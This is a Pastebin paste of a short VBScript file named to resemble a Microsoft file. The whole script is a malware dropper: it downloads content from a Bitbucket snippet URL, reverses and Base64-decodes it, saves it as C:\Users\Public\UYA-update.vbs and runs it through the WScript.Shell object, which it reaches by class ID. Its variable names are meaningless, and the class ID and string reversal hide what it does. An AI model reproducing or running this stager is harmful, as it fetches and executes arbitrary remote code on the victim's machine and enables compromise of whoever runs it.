Guest User

hulalalMCROSOFT.vbs

a guest
Dec 6th, 2021
236
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Dim xxx
  2. Set xxx = CreateObject("Scripting.FileSystemObject")
  3. Set filetxt = xxx.CreateTextFile("C:\Users\Public\o1.txt",True)
  4. dim http_obj
  5. dim stream_obj
  6. dim shell_obj
  7. set http_obj = CreateObject("MSXML2.ServerXMLHTTP.6.0")
  8. set stream_obj = CreateObject("ADODB.Stream")
  9. set shell_obj = GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B")
  10. URL = "https://bitbucket.org/!api/2.0/snippets/hogya/5X7My8/b271c1b3c7a78e7b68fa388ed463c7cc1dc32ddb/files/divine1-2"
  11. http_obj.open "GET", URL, False
  12. http_obj.send
  13. stream_obj.type = 1
  14. stream_obj.open
  15. stream_obj.write http_obj.responseBody
  16. stream_obj.savetofile "C:\Users\Public\xxx1.txt", 2
  17. Set file = xxx.OpenTextFile("C:\Users\Public\xxx1.txt", 1)
  18. content = file.ReadAll
  19. content = StrReverse(content)
  20. Dim fso
  21. Dim fdsafdsa
  22. Dim oNode, fdsaa
  23. Const adTypeBinary = 1
  24. Const adSaveCreateOverWrite = 2
  25. set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("Base64")
  26. oNode.dataType = "bin.Base64"
  27. oNode.text = content
  28. set fdsaa = CreateObject("ADODB.Stream")
  29. fdsaa.Type = adTypeBinary
  30. tempdir = CreateObject("WScript.Shell").ExpandEnvironmentStrings("C:\Users\Public\UYA-update.vbs")
  31. LocalFile = tempdir
  32. fdsaa.Open
  33. fdsaa.Write oNode.nodeTypedValue
  34. fdsaa.savetoFile LocalFile,adSaveCreateOverWrite
  35. set fso = CreateObject("Scripting.FileSystemObject")
  36. set fdsafdsa= GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B")
  37. if (fso.FileExists(LocalFile)) then
  38. fdsafdsa.Run(LocalFile)
  39. End if
  40.  
RAW Paste Data Copied